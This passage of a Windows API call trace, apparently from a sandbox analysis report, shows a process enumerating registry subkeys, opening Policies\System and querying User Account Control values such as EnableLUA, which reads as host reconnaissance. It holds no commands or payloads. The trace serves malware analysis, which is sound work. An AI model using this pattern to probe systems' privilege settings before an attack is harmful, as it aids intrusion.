WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0xf6c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0223.039] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xf6b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0xf6c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0223.040] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xf6b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0xf6c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0223.040] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xf6b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0xf6c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0223.040] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xf6b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0xf6c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0223.040] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xf6b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0xf6c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0223.040] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xf6b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0xf6c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0223.040] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xf6b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0xf6c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0223.041] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xf6b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0xf6c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0223.041] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xf6b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0xf6c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0223.041] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xf6b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0xf6c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0223.041] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xf6b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0xf6c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0223.041] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xf6b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0xf6c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0223.041] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xf6b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0223.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0xf6c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0223.042] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x53fb08 | out: phkResult=0x53fb08*=0xa0) returned 0x0 [0223.042] RegCloseKey (hKey=0x24) returned 0x0 [0223.042] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xf6b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0223.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0xf6c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0223.042] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xf6b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0223.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0xf6c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0223.042] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xf6b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0223.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xf6c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0223.042] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xf6b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0223.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0xf6c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0223.042] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xf6b930, cchName=0x104 | out: lpName="System") returned 0x0 [0223.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0xf6c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0223.042] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x53fb08 | out: phkResult=0x53fb08*=0x24) returned 0x0 [0223.043] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b930) returned 1 [0223.043] RegCloseKey (hKey=0xa0) returned 0x0 [0223.043] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b860) returned 1 [0223.043] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.043] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.043] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.043] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.043] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.043] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.043] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.044] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.044] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.044] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.044] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.044] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.044] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.044] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.044] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.044] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.044] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.044] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x53fb20, lpData=0x0, lpcbData=0x53fb28*=0x0 | out: lpType=0x53fb20*=0x4, lpData=0x0, lpcbData=0x53fb28*=0x4) returned 0x0 [0223.044] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x53fb20, lpData=0xf6c438, lpcbData=0x53fb28*=0x4 | out: lpType=0x53fb20*=0x4, lpData=0xf6c438*=0x1, lpcbData=0x53fb28*=0x4) returned 0x0 [0223.044] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c438) returned 1 [0223.044] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5a0) returned 1 [0223.044] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.044] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6b860 [0223.044] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b878 [0223.044] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5a0 [0223.045] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b888 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c438 [0223.045] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b898 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c558 [0223.045] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b930 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c510 [0223.045] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x20) returned 0xf6b940 [0223.045] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b860) returned 1 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b860 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c4c8 [0223.045] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b968 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c480 [0223.045] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b978 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c3f0 [0223.045] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b988 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c3a8 [0223.045] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.045] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x30) returned 0xf6b998 [0223.046] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b940) returned 1 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b940 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c360 [0223.046] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b950 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c318 [0223.046] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b9d0 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c2d0 [0223.046] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b9e0 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.046] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c240 [0223.046] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6b998) returned 1 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b998 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1f8 [0223.046] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x53fa14, lpcchValueName=0x53fa10, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x53fa10, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6b9a8 [0223.046] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1b0 [0223.046] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, 